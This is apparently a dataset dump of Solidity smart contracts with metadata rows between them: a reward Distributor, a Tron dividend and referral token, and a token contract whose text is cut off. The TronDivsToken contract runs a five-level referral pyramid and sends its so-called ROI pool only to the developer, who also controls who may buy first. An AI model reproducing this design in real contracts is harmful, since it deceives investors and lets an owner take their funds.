// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 71,820 | 14,008 |
86899b860aa19603bec3dcf0bf3560d9fbabe266603091afc971a1b26434d1ae
| 25,079 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFd1d4JDjA38SpoNqrMpGnYS8WpUTyTxUB_TronDivsToken.sol
| 5,707 | 20,966 |
//SourceUnit: TronDivsToken.sol
pragma solidity ^0.4.23;
contract TronDivsToken {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier checkExchangeOpen(uint256 _amountOfTron){
if(exchangeClosed){
require(isInHelloTDT_[msg.sender]);
isInHelloTDT_[msg.sender] = false;
helloCount = SafeMath.sub(helloCount,1);
if(helloCount == 0){
exchangeClosed = false;
}
}
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingTron,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 tronEarned);
event onReinvestment(address indexed customerAddress,
uint256 tronReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 tronWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "TronDivs Token";
string public symbol = "TDT";
uint8 constant public decimals = 18;
uint8 constant internal buyFee_ = 30;//30%
uint8 constant internal sellFee_ = 10;//10%
uint8 constant internal roiFee_ = 50;//2%
uint8 constant internal devFee_ = 33;//3%
uint8 constant internal transferFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 10000;
uint256 constant internal tokenPriceIncremental_ = 100;
uint256 constant internal magnitude = 2 ** 64;
//min invest amount to get referral bonus
uint256 internal tokenSupply_ = 0;
uint256 internal helloCount = 0;
uint256 internal profitPerShare_;
uint256 public stakingRequirement = 50e18;
uint256 public roiPool = 0;
uint256 public devPool = 0;
uint256 public playerCount_;
uint256 public totalInvested = 0;
uint256 public totalDividends = 0;
address internal devAddress_;
struct ReferralData {
address affFrom;
uint256 affRewardsSum;
uint256 affCount1Sum; //5 level
uint256 affCount2Sum;
uint256 affCount3Sum;
uint256 affCount4Sum;
uint256 affCount5Sum;
}
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) internal isInHelloTDT_;
mapping(address => bool) public players_;
mapping(address => uint256) public totalDeposit_;
mapping(address => uint256) public totalWithdraw_;
mapping(address => ReferralData) public referralData;
bool public exchangeClosed = true;
constructor()
public
{
devAddress_ = msg.sender;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
totalInvested = SafeMath.add(totalInvested,msg.value);
totalDeposit_[msg.sender] = SafeMath.add(totalDeposit_[msg.sender],msg.value);
if(players_[msg.sender] == false){
playerCount_ = playerCount_ + 1;
players_[msg.sender] = true;
}
uint256 _amountOfTokens = purchaseTokens(msg.value, _referredBy);
emit onTokenPurchase(msg.sender, msg.value, _amountOfTokens, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
totalWithdraw_[_customerAddress] = SafeMath.add(totalWithdraw_[_customerAddress],_dividends);
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _tron = tokensToTron_(_tokens);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _devPool = SafeMath.div(_tron,devFee_); //3%
devPool = SafeMath.add(devPool,_devPool);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
totalDividends = SafeMath.add(totalDividends,_dividends);
_dividends = SafeMath.sub(_dividends, _devPool);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedTron * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedTron);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
require(!exchangeClosed && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToTron_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function getContractData() public view returns(uint256, uint256, uint256,uint256, uint256){
return(playerCount_, totalSupply(), totalTronBalance(), totalInvested, totalDividends);
}
function getPlayerData() public view returns(uint256, uint256, uint256,uint256, uint256){
return(totalDeposit_[msg.sender], totalWithdraw_[msg.sender], balanceOf(msg.sender), myDividends(true),myDividends(false));
}
function totalTronBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function isOwner()
public
view
returns(bool)
{
return msg.sender == devAddress_;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _tron = tokensToTron_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_tron, buyFee_), 100);
uint256 _taxedTron = SafeMath.add(_tron, _dividends);
return _taxedTron;
}
}
function calculateTokensReceived(uint256 _tronToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_tronToSpend, buyFee_), 100);
uint256 _taxedTron = SafeMath.sub(_tronToSpend, _dividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
return _amountOfTokens;
}
function calculateTronReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _tron = tokensToTron_(_tokensToSell);
uint256 _dividends = SafeMath.div(_tron, sellFee_);
uint256 _taxedTron = SafeMath.sub(_tron, _dividends);
return _taxedTron;
}
function purchaseTokens(uint256 _incomingTron, address _referredBy)
checkExchangeOpen(_incomingTron)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingTron, buyFee_),100); //20%
uint256 _referralBonus = SafeMath.div(_incomingTron, 10); //10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _roiPool = SafeMath.div(_incomingTron,roiFee_); //2%
_dividends = SafeMath.sub(_dividends, _roiPool);
roiPool = SafeMath.add(roiPool,_roiPool);
uint256 _devPool = SafeMath.div(_incomingTron,devFee_); //2%
_dividends = SafeMath.sub(_dividends, _devPool);
devPool = SafeMath.add(devPool,_devPool);
uint256 _taxedTron = SafeMath.sub(_incomingTron, _undividedDividends);
uint256 _amountOfTokens = tronToTokens_(_taxedTron);
uint256 _fee = _dividends * magnitude;
totalDividends = SafeMath.add(totalDividends,_undividedDividends);
//if new user, register user's referral data with _referredBy
if(referralData[msg.sender].affFrom == address(0)){
registerUser(msg.sender, _referredBy);
}
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
distributeReferral(msg.sender, _referralBonus);
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
return _amountOfTokens;
}
function registerUser(address _msgSender, address _affFrom)
internal
{
ReferralData storage _referralData = referralData[_msgSender];
if(_affFrom != _msgSender && tokenBalanceLedger_[_affFrom] >= stakingRequirement){
_referralData.affFrom = _affFrom;
}
else{
_referralData.affFrom = devAddress_;
}
address _affAddr1 = _referralData.affFrom;
address _affAddr2 = referralData[_affAddr1].affFrom;
address _affAddr3 = referralData[_affAddr2].affFrom;
address _affAddr4 = referralData[_affAddr3].affFrom;
address _affAddr5 = referralData[_affAddr4].affFrom;
referralData[_affAddr1].affCount1Sum = SafeMath.add(referralData[_affAddr1].affCount1Sum,1);
referralData[_affAddr2].affCount2Sum = SafeMath.add(referralData[_affAddr2].affCount2Sum,1);
referralData[_affAddr3].affCount3Sum = SafeMath.add(referralData[_affAddr3].affCount3Sum,1);
referralData[_affAddr4].affCount4Sum = SafeMath.add(referralData[_affAddr4].affCount4Sum,1);
referralData[_affAddr5].affCount5Sum = SafeMath.add(referralData[_affAddr5].affCount5Sum,1);
}
function distributeReferral(address _msgSender, uint256 _allaff)
internal
{
ReferralData storage _referralData = referralData[_msgSender];
address _affAddr1 = _referralData.affFrom;
address _affAddr2 = referralData[_affAddr1].affFrom;
address _affAddr3 = referralData[_affAddr2].affFrom;
address _affAddr4 = referralData[_affAddr3].affFrom;
address _affAddr5 = referralData[_affAddr4].affFrom;
uint256 _affRewards = SafeMath.div(_allaff, 5);
uint256 _affSent = _allaff;
if (_affAddr1 != address(0) && tokenBalanceLedger_[_affAddr1] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr1] = SafeMath.add(referralBalance_[_affAddr1], _affRewards);
referralData[_affAddr1].affRewardsSum = SafeMath.add(referralData[_affAddr1].affRewardsSum, _affRewards);
}
if (_affAddr2 != address(0) && tokenBalanceLedger_[_affAddr2] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr2] = SafeMath.add(referralBalance_[_affAddr2], _affRewards);
referralData[_affAddr2].affRewardsSum = SafeMath.add(referralData[_affAddr2].affRewardsSum, _affRewards);
}
if (_affAddr3 != address(0) && tokenBalanceLedger_[_affAddr3] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr3] = SafeMath.add(referralBalance_[_affAddr3], _affRewards);
referralData[_affAddr3].affRewardsSum = SafeMath.add(referralData[_affAddr3].affRewardsSum, _affRewards);
}
if (_affAddr4 != address(0) && tokenBalanceLedger_[_affAddr4] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr4] = SafeMath.add(referralBalance_[_affAddr4], _affRewards);
referralData[_affAddr4].affRewardsSum = SafeMath.add(referralData[_affAddr4].affRewardsSum, _affRewards);
}
if (_affAddr5 != address(0) && tokenBalanceLedger_[_affAddr5] >= stakingRequirement) {
_affSent = SafeMath.sub(_affSent,_affRewards);
referralBalance_[_affAddr5] = SafeMath.add(referralBalance_[_affAddr5], _affRewards);
referralData[_affAddr5].affRewardsSum = SafeMath.add(referralData[_affAddr5].affRewardsSum, _affRewards);
}
if(_affSent > 0){
referralBalance_[devAddress_] = SafeMath.add(referralBalance_[devAddress_], _affSent);
referralData[devAddress_].affRewardsSum = SafeMath.add(referralData[devAddress_].affRewardsSum, _affSent);
}
}
function tronToTokens_(uint256 _tron)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_tron * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToTron_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _tronReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _tronReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function disableInitialStage()
public
{
require(msg.sender == devAddress_);
exchangeClosed = false;
}
function setStakingRequirement(uint256 _amountOfTokens)
public
{
require(msg.sender == devAddress_);
stakingRequirement = _amountOfTokens;
}
function sendRoi()
public
{
require(msg.sender == devAddress_);
uint256 amount = roiPool;
roiPool = 0;
devAddress_.transfer(amount);
}
function withdrawDevFee()
public
{
require(msg.sender == devAddress_);
uint256 amount = devPool;
devPool = 0;
devAddress_.transfer(amount);
}
function helloTDT(address _address, bool _status,uint8 _count)
public
{
require(msg.sender == devAddress_);
isInHelloTDT_[_address] = _status;
helloCount = _count;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 296,121 | 14,009 |
bbd48a08c8f2f5755b03837538a736a4cc95489a8bd427433468dcbe0530c209
| 25,185 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/Address-0xea55e39918db4e4f0cb44287477abd50a6b64ec7.sol
| 4,442 | 16,402 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
